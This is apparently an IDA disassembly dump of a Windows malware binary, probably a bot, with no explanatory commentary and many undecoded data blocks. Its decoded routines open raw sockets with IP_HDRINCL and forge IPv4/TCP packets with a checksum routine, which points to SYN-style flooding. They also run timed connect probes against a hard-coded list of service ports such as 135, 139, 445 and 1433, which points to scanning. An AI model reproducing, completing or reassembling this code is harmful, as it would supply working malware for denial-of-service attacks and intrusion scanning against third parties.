dword_413DC8	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: seg000:00407EA0o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
		dd 858D5000h, 0FFFFFBECh, 43E00068h, 1BE85000h,	33000081h
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 5B90E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF74D1E8h
		dd 565959FFh, 6EC19FE8h, 5E5F0700h
; ---------------------------------------------------------------------------


loc_413E64:				; CODE XREF: seg000:00414152p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_4D1160
		test	eax, eax
		jz	short loc_413EA4
		xor	eax, eax
		jmp	loc_414112
; ---------------------------------------------------------------------------


loc_413EA4:				; CODE XREF: seg000:00413E9Bj
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_4D1294
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax
		jz	loc_41410A
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	ds:dword_4D11D0
		cmp	eax, 0FFFFFFFFh
		jz	loc_414100
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2
		push	dword ptr [ebp+10h]
		call	ds:dword_4D11F0
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	ds:dword_4D11F0
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	ds:dword_4D11F0
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	ds:dword_4D11F0
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 0B00000h
		pop	edx
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0B00000h
; ---------------------------------------------------------------------------
		dw 0FFDFh
		dd 458BC475h, 75FF9914h, 0E85052C0h, 99CCh, 8BF84503h
		dd 0FC7513F2h, 66A84589h, 0E8DC5D89h, 7FFAh, 3E9B999h
		dd 0F9F70000h, 3E8C281h, 0FF520000h, 4D11F015h,	45896600h
		dd 7FDCE8CCh, 0F88B0000h, 0E810E7C1h, 7FD2h, 0FF57F80Bh
		dd 4D11F015h, 0C0B70F00h, 8BD04589h, 45FF0C45h,	15FF500Ch
		dd 4D11ECh, 4589146Ah, 0F0458BECh, 4589575Fh, 905D888Ch
		dd 69145C6h, 11F015FFh,	8966004Dh, 458B9245h, 884589ECh
		dd 6A88458Dh, 858D5020h, 0FFFFFF4Ch, 899EE850h,	458D0000h
		dd 8D5057CCh, 0FFFF6C85h, 8DE850FFh, 8D000089h,	0FFFF4C85h
		dd 50346AFFh, 0FF6B92E8h, 458966FFh, 0E0458DDCh, 858D5057h
		dd 0FFFFFF4Ch, 896AE850h, 458D0000h, 8D5057CCh,	0FFFF6085h
		dd 59E850FFh, 6A000089h, 74858D04h, 53FFFFFFh, 7BDAE850h
		dd 0C4830000h, 4C858D44h, 6AFFFFFFh, 4CE85028h,	66FFFF6Bh
		dd 8DEA4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 8924h
		dd 8D14C483h, 106AB045h, 858D5350h, 0FFFFFF4Ch,	0FF50286Ah
		dd 15FFF475h, 4D1254h, 74FFF883h, 10450127h, 50F8458Dh
		dd 6EBF47E8h, 458B2400h, 7FC63BFCh, 0C88C0F3Ch,	8BFFFFFEh
		dd 453BF845h, 0E92E73A8h, 0FFFFFEBBh, 118415FFh, 8D50004Dh
		dd 0FFFF0C85h, 0E02868FFh, 0E8500043h, 7E4Ah, 0FF0C858Dh
		dd 0E850FFFFh, 16AEh, 0EB10C483h, 105D8B03h
; ---------------------------------------------------------------------------


loc_414100:				; CODE XREF: seg000:00413EDCj
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4D1288
		pop	esi


loc_41410A:				; CODE XREF: seg000:00413EBFj
		call	ds:dword_4D1148
		mov	eax, ebx


loc_414112:				; CODE XREF: seg000:00413E9Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AA54
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BE29
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BE29
		mov	edi, eax
		call	sub_41BF92
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_413E64
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414161
		push	1
		pop	eax


loc_414161:				; CODE XREF: seg000:0041415Cj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414170	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: seg000:00408853o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7C88E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4D1230h, 5BE850h
		dd 8D500000h, 0FFFC6C85h, 0E04868FFh, 0E8500043h, 7D6Eh
		dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
		dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0E3E8FFFFh, 83FFFF57h
		dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h,	7124E8F0h
		dd 5959FFFFh, 0BDF2E856h, 5F98006Eh, 0EC8B555Eh, 98EC81h
		dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh,	0A8658304h
		dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh,	0FFFF7C8Dh
		dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
		dd 0Ch,	119445C7h, 0C7000000h, 169845h,	45C70000h, 299Ch
		dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
		dd 0BC45C7h, 89000020h,	5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
		dd 4D89D045h, 0BFABD8h,	57000001h, 93B4E8h, 45895900h
		dd 0FF5057FCh, 4D120415h, 0FC75FF00h, 127415FFh, 408B004Dh
		dd 36A530Ch, 8B026Ah, 4589008Bh, 7015FFF4h, 8D004D12h
		dd 5156D84Dh, 6A026Ah, 0FC458950h, 11D015FFh, 0BE004Dh
		dd 56000002h, 78D2E8h, 0A83D8B00h, 59004270h, 0FFF84589h
		dd 0F04589D7h, 6808458Bh, 29Ah,	0FF6C8589h, 0C766FFFFh
		dd 0FFFF6885h, 0FF0002FFh, 4D11F015h, 85896600h, 0FFFFFF6Ah
		dd 452BD7FFh, 0B9D233F0h, 3E8h,	453BF1F7h, 0CF870F0Ch
		dd 0E8000000h, 7C4Ah, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
		dd 18E2C100h, 5589D00Bh, 7C30E8F4h, 8B990000h, 89F9F7CBh
		dd 23E8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h, 0C6F9F745h
		dd 8904DD45h, 0BE8D455h, 6600007Ch, 0E8E04589h,	7C02h
		dd 59990A6Ah, 8B66F9F7h, 50B09544h, 11F015FFh, 6656004Dh
		dd 0FFE24589h, 4D11F015h, 45896600h, 0E45D88DEh, 7BD9E8h
		dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h,	8BE54588h
		dd 4589F445h, 8458BE8h,	8DEC4589h, 0E850DC45h, 0FFFF67E3h
		dd 0E6458966h, 6ADC458Dh, 75FF5014h, 85BEE8F8h,	0C4830000h
		dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
		dd 4D125415h, 0FF1AE900h, 75FFFFFFh, 7547E8F8h,	0FF590000h
		dd 15FFFC75h, 4D1288h, 5F58016Ah, 0C3C95B5Eh
dword_41442C	dd 81EC8B55h, 440ECh, 8458B00h,	6A575653h, 59F08B68h, 0FDC0BD8Dh
					; DATA XREF: seg000:00406E36o
		dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
		dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0A83D8BAAh
		dd 0FF004270h, 11E850D7h, 5900007Bh, 0FF68h, 6A036A00h
		dd 7015FF02h, 83004D12h, 4589FFF8h, 0FF6675FCh,	4D118415h
		dd 858D5000h, 0FFFFFBC0h, 43E16468h, 8FE85000h,	8300007Ah
		dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5500E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF6E3Eh, 0E8535959h, 6EBB0Ch,	0CC4D8D24h
		dd 6A51046Ah, 89505302h, 15FFCC75h, 4D11D0h, 75FFF883h
		dd 8415FF66h, 50004D11h, 0FBC0858Dh, 2C68FFFFh,	500043E1h
		dd 7A11E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
		dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
		dd 0E8FFFFFDh, 0FFFF5482h, 8D14C483h, 0FFFBC085h, 47E850FFh
		dd 0FF000012h, 0FFFF44B5h, 6DC0E8FFh, 5959FFFFh, 0BA8EE853h
		dd 8DFE006Eh, 0FFFDC485h, 15FF50FFh, 4D1230h, 75FFF883h
		dd 0C0858D5Eh, 68FFFFFBh, 43E10Ch, 79A0E850h, 9D390000h
		dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5412h
		dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
		dd 6D50E8FFh, 5959FFFFh, 0BA1EE853h, 6A41006Eh,	0BC458D10h
		dd 51E85053h, 83000076h, 0C7660CC4h, 2BC45h, 0F015FF53h
		dd 66004D11h, 8DBE4589h, 0FFFDC485h, 15FF50FFh,	4D1230h
		dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
		dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
		dd 0FF45D445h, 4D11F015h, 509D3900h, 66FFFFFFh,	66D64589h
		dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
		dd 792CE82Dh, 0F08B0000h, 0E808E6C1h, 7922h, 0E6C1F003h
		dd 7918E808h, 0F0030000h, 0E808E6C1h, 790Eh, 16AF003h
		dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF64D1E8h, 0FF5059FFh
		dd 4D123015h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
		dd 0DBE81075h, 99000078h, 401B9h, 52F9F700h, 0B5FF06EBh
		dd 0FFFFFF48h, 11F015FFh, 8966004Dh, 0BBE8EA45h, 99000078h
		dd 401B9h, 52F9F700h, 11F015FFh, 7868004Dh, 66123456h
		dd 0FFE84589h, 4D11EC15h, 0EC458900h, 0FE44858Dh, 868FFFFh
		dd 500043E1h, 78A7E8h, 0C0855900h, 89097459h, 45C6F05Dh
		dd 5CEB02F5h, 0FE44858Dh, 1068FFFFh, 50004318h,	7887E8h
		dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h,	0FE44858Dh
		dd 1868FFFFh, 500042D6h, 7867E8h, 0C0855900h, 0E8257459h
		dd 783Eh, 5999036Ah, 5589F9F7h,	7830E8F0h, 26A0000h, 0F9F75999h
		dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
		dd 0F015FF50h, 66004D11h, 8BF64589h, 4589E045h,	0E4458B9Ch
		dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h,	6A545C6h
		dd 11F015FFh, 8966004Dh, 458DA645h, 50206A9Ch, 0FF60858Dh
		dd 0E850FFFFh, 81F0h, 6AE8458Dh, 458D5014h, 0E1E85080h
		dd 8D000081h, 0FFFF6085h, 50346AFFh, 0FF63E6E8h, 458966FFh
		dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 0BDE850FFh, 8D000081h
		dd 146AE845h, 74858D50h, 50FFFFFFh, 81ABE8h, 8D046A00h
		dd 50538845h, 742FE8h, 44C48300h, 0FF60858Dh, 286AFFFFh
		dd 63A1E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
		dd 0E850FFFFh, 8178h, 8D14C483h, 106ABC45h, 858D5350h
		dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4D1254h, 74FFF883h
		dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 128815FFh,	15FF004Dh
		dd 4D1184h, 0C4858D50h,	0FFFFFFFDh, 68500875h, 43E0B8h
		dd 0FBC0858Dh, 68FFFFh,	50000002h, 779FE8h, 18C48300h
		dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5116h
		dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
		dd 6A54E8FFh, 5959FFFFh, 0B722E853h, 0FF90006Eh, 15FFFC75h
		dd 4D1288h, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
		dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 43E068h, 7614E850h
		dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h,	0FFFFFBC0h
		dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
		dd 0FF5085E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
		dd 0FF44B5FFh, 0C3E8FFFFh, 59FFFF69h, 91E85359h, 0F4006EB6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_41499C
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_41498E:				; CODE XREF: seg000:00414996j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_41498E
		pop	edi
		cmp	eax, 1


loc_41499C:				; CODE XREF: seg000:00414982j
		jnz	short loc_4149A9
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4149A9:				; CODE XREF: seg000:loc_41499Cj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
word_4149C2	dw 8B55h		; DATA XREF: seg000:0040875Bo
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 36E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 123015FFh
		dd 8D50004Dh, 0FFFE6CB5h, 94EC81FFh, 6A000001h,	0FC8B5965h
		dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 9868FFFFh,	500043E1h
		dd 7509E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7BE8FFFFh
		dd 83FFFF4Fh, 858D14C4h, 0FFFFFC6Ch, 0D40E850h,	75FF0000h
		dd 68BCE8F0h, 5959FFFFh, 0B58AE856h, 5509006Eh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 127015FFh, 4589004Dh,	50D6FFF8h
		dd 74DBE8h, 78BF5900h, 57000005h, 16A096Ah, 4460E8h, 50595900h
		dd 50D8458Dh, 7177E8h, 0CC48300h, 5A0BEh, 0A815FF00h, 2B004270h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
		dd 4D49A81Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
		dd 7138h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4D1194h, 0FF68h, 0E8016A00h,	43F5h, 45B60F50h, 0B60F509Eh
		dd 0F509D45h, 509C45B6h, 0FF34858Dh, 0C068FFFFh, 50004341h
		dd 73EDE8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4D438868h
		dd 0F1E85000h, 59000079h, 34858D59h, 50FFFFFFh,	123015FFh
		dd 4589004Dh, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
		dd 11F015FFh, 8966004Dh, 3E8AE45h, 66000074h, 8BB04589h
		dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
		dd 0B545C640h, 5D896606h, 0BC4589B6h, 73D9E8h, 45896600h
		dd 73D0E8C0h, 89660000h, 0C7E8C245h, 89000073h,	0BFE8C445h
		dd 89000073h, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
		dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah,	8D8C4589h
		dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
		dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
		dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh,	8C68BC45h
		dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
		dd 15FF06FFh, 427208h, 5E858966h, 8DFFFFFFh, 0FFFF6085h
		dd 50146AFFh, 50C0458Dh, 7D47E8h, 74858D00h, 57FFFFFFh
		dd 0D8458D50h, 7D36E850h, 858D0000h, 0FFFFFF54h, 59868h
		dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h,	5088458Dh
		dd 0A8458D53h, 75FF5056h, 5415FFF8h, 0FF004D12h, 22E9FC45h
		dd 0FFFFFFFEh, 15FFF875h, 4D1288h, 5FFC458Bh, 0C3C95B5Eh
dword_414CC0	dd 81EC8B55h, 414ECh, 8558B00h,	85B856h, 8B570000h, 8DF28BC8h
					; DATA XREF: seg000:00406713o
		dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
		dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
		dd 68FFFFFBh, 43E1CCh, 7224E850h, 0C4810000h, 220h, 0FBEC858Dh
		dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF65FEh, 6A5959h
		dd 6EB2CBE8h, 8B55A800h, 54EC81ECh, 53000002h, 0FFBB56h
		dd 53570000h, 26A036Ah,	127015FFh, 0F883004Dh, 0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 43E3BC68h, 0CBE85000h, 59000071h
		dd 0E959FF33h, 2C6h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4D11D015h, 0FFF88300h,	15FF0E75h
		dd 4D1184h, 0E36C6850h,	1BEB0043h, 500C458Dh, 123015FFh
		dd 0F883004Dh, 0FF2075FFh, 4D118415h, 28685000h, 8D0043E3h
		dd 0FFFDAC85h, 6FE850FFh, 83000071h, 6BE90CC4h,	57000002h
		dd 0DC45C766h, 15FF0002h, 4D11F0h, 0DE458966h, 500C458Dh
		dd 723015FFh, 358B0042h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0FC68FFFFh, 500043E2h, 7129E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF4B9DE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 0D2E85000h, 3B00006Fh, 870F59F0h, 191h, 41CBEh
		dd 0BB05EB00h, 0FFh, 49A83D39h,	5075004Dh, 8958106Ah, 8D50F045h
		dd 5057CC45h, 6DBBE8h, 0CC48300h, 50F0458Dh, 50CC458Dh
		dd 0FF0875FFh, 4D119415h, 16A5300h, 407CE8h, 0B60F5000h
		dd 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h, 4341C068h
		dd 77E85000h, 83000070h, 10EB20C4h, 68AC458Dh, 4D4388h
		dd 767EE850h, 59590000h, 8805C656h, 45004D45h, 11F015FFh
		dd 0A366004Dh, 4D458Ah,	50AC458Dh, 8C05C766h, 1004D45h
		dd 3D896600h, 4D458Eh, 459005C6h, 0C680004Dh, 4D459105h
		dd 89661100h, 4D45923Dh, 3015FF00h, 0A3004D12h,	4D4594h
		dd 0A3E0458Bh, 4D4598h,	8C858Dh, 66500000h, 45A23D89h
		dd 0F2E8004Dh, 8500006Eh, 107559C0h, 7051E8h, 1B99900h
		dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6ED1h, 15FF5059h
		dd 4D11F0h, 459EA366h, 27E8004Dh, 99000070h, 401B9h, 4086800h
		dd 0F9F70000h, 9C158966h, 0FF004D45h, 4D11F015h, 4006800h
		dd 0A3660000h, 4D45A0h,	6FFDE8h, 0FBF79900h, 45A46852h
		dd 9DE8004Dh, 8300006Ch, 458D0CC4h, 50106ADCh, 88685657h
		dd 0FF004D45h, 15FFF475h, 4D1254h, 0FFFF883h, 0A484h, 0FC45FF00h
		dd 70A815FFh, 452B0042h, 0B9D233F8h, 3E8h, 0D88BF1F7h
		dd 10C858Dh, 0E8500000h, 6E41h,	0F59D83Bh, 0FFFE7686h
		dd 0F475FFFFh, 128815FFh, 758B004Dh, 0C858DFCh,	50000001h
		dd 41CF669h, 1AE80000h,	8B00006Eh, 0C1C68BC8h, 0D2330AE8h
		dd 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch, 0FFFFFDACh
		dd 43E29868h, 0FFE85000h, 8300006Eh, 0BD391CC4h, 214h
		dd 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h,	18C858Dh
		dd 0FF500000h, 73E80875h, 83FFFF49h, 5E5F14C4h,	0C95BC033h
		dd 0FC75FFC3h, 8415FF56h, 50004D11h, 500C458Dh,	0FDAC858Dh
		dd 0C68FFFFh, 500043E2h, 6EADE8h, 18C48300h
		db 0EBh, 0ACh
word_41508E	dw 8B55h		; DATA XREF: seg000:00407DB8o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6D68E8h
		dd 8D505900h, 0FFFE7085h, 5AE850FFh, 5900006Dh,	0F0858D50h
		dd 50FFFFFDh, 123015FFh, 0E850004Dh, 144h, 0EC858D50h
		dd 68FFFFFBh, 43E3E8h, 6E40E850h, 0F6330000h, 3918C483h
		dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF48B5E8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF61F6h, 0E8565959h
		dd 6EAEC4h
; ---------------------------------------------------------------------------
		scasb
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41513F	proc near		; CODE XREF: seg000:004153BCp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415168
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42720C	; connect
		jmp	loc_415224
; ---------------------------------------------------------------------------


loc_415168:				; CODE XREF: sub_41513F+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4271F4	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_4D1198
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	ds:dword_4D11D8
		test	eax, eax
		jnz	short loc_4151CC
		or	eax, 0FFFFFFFFh
		jmp	short loc_415224
; ---------------------------------------------------------------------------


loc_4151CC:				; CODE XREF: sub_41513F+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_4151D7


loc_4151D3:				; CODE XREF: sub_41513F+B8j
					; sub_41513F+DCj
		mov	eax, edi
		jmp	short loc_415224
; ---------------------------------------------------------------------------


loc_4151D7:				; CODE XREF: sub_41513F+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4151F9
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_4265E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4151D3


loc_4151F9:				; CODE XREF: sub_41513F+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4271E0	; getsockopt
		cmp	eax, edi
		jz	short loc_4151D3
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_415224:				; CODE XREF: sub_41513F+24j
					; sub_41513F+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_41513F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp-14h], eax
		call	ds:dword_427204	; WSASocketA
		lea	ecx, [ebp-14h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	ds:dword_4D4A18, eax
		call	ds:dword_4D11D0
		mov	esi, ds:dword_4270A8
		call	esi ; dword_4270A8
		push	eax
		call	sub_41BF88
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp-100h]
		pop	ecx
		mov	[ebp-10Ch], ebx
		mov	[ebp-7Ch], ecx
		mov	[ebp-108h], ebx
		mov	[ebp-104h], ebx
		mov	dword ptr [ebp-8Ch], 401h
		mov	dword ptr [ebp-88h], 15h
		mov	dword ptr [ebp-84h], 16h
		mov	dword ptr [ebp-80h], 17h
		mov	dword ptr [ebp-78h], 35h
		mov	dword ptr [ebp-74h], 50h
		mov	dword ptr [ebp-70h], 51h
		mov	dword ptr [ebp-6Ch], 58h
		mov	dword ptr [ebp-68h], 6Eh
		mov	dword ptr [ebp-64h], 71h
		mov	dword ptr [ebp-60h], 77h
		mov	dword ptr [ebp-5Ch], 87h
		mov	dword ptr [ebp-58h], 89h
		mov	dword ptr [ebp-54h], 8Bh
		mov	dword ptr [ebp-50h], 8Fh
		mov	dword ptr [ebp-4Ch], 1BBh
		mov	dword ptr [ebp-48h], 1BDh
		mov	dword ptr [ebp-44h], 400h
		mov	dword ptr [ebp-40h], 599h
